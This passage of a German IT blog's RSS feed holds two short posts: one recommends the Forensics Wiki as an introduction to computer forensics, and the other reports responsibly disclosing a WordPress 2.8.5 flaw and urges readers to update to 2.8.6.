			<wfw:commentRss>http://blog.bf-itservice.de/362/kritische-sicherheitslucke-im-java-runtime-environment-jre/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Etwas Computerforensik gefällig?</title>
		<link>http://blog.bf-itservice.de/343/etwas-computerforensik-gefallig</link>
		<comments>http://blog.bf-itservice.de/343/etwas-computerforensik-gefallig#comments</comments>
		<pubDate>Mon, 29 Mar 2010 15:58:54 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Sicherheit und Sonnenschein]]></category>
		<category><![CDATA[Dateianalyse]]></category>
		<category><![CDATA[Forensics Wiki]]></category>
		<category><![CDATA[IT-Forensik]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=343</guid>
		<description><![CDATA[Wer schon immer mal in die Computerforensik hinein schnuppern wollte, dem kann ich nur das englischsprachige Forensics Wiki ans Herzen legen: Vom Aufspüren von versteckten Daten über Dateianalyse bis hin zur Abwehr von Computerforensik ist dort jeder Themenbereich der IT-Forensik mit aufschlussreichen Artikeln abgedeckt. Vor allem die Netzwerkforensik (link) ist meiner Meinung nach ein hochinteressantes [...]]]></description>
			<content:encoded><![CDATA[<p>Wer schon immer mal in die Computerforensik hinein schnuppern wollte, dem kann ich nur das englischsprachige <a href="http://www.forensicswiki.org/wiki/Main_Page">Forensics Wiki</a> ans Herzen legen: </p>
<p>Vom <strong>Aufspüren von versteckten Daten</strong> über <strong>Dateianalyse</strong> bis hin zur <strong>Abwehr von Computerforensik</strong> ist dort jeder Themenbereich der IT-Forensik mit aufschlussreichen Artikeln abgedeckt. Vor allem die Netzwerkforensik (<a href="http://www.forensicswiki.org/wiki/Network_forensics">link</a>) ist meiner Meinung nach ein hochinteressantes Thema.</p>
<p>Ich hoffe, dieses Thema wird nun noch weitere Fans finden! <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/343/etwas-computerforensik-gefallig/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress 2.8.5 Security Flaw</title>
		<link>http://blog.bf-itservice.de/289/wordpress-2-8-5-security-fla</link>
		<comments>http://blog.bf-itservice.de/289/wordpress-2-8-5-security-fla#comments</comments>
		<pubDate>Tue, 10 Nov 2009 23:17:10 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Sicherheit und Sonnenschein]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=289</guid>
		<description><![CDATA[Habe soeben mal eine Sicherheitslücke in WordPress 2.8.5 gemeldet. Mal schauen ob sie mich diesmal verlinken Update: Antwort bereits eingetroffen, sie arbeiten an einem Fix. Nett. Update: Und jetzt gibt es auch WordPress 2.8.6, alle schön updaten!]]></description>
			<content:encoded><![CDATA[<p>Habe soeben mal eine Sicherheitslücke in WordPress 2.8.5 gemeldet. Mal schauen ob sie mich diesmal verlinken <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p><strong>Update:</strong> Antwort bereits eingetroffen, sie arbeiten an einem Fix. Nett.</p>
<p><strong>Update: </strong>Und jetzt gibt es auch <a href="http://wordpress.org/development/2009/11/wordpress-2-8-6-security-release/">WordPress 2.8.6</a>, alle schön updaten!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/289/wordpress-2-8-5-security-fla/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

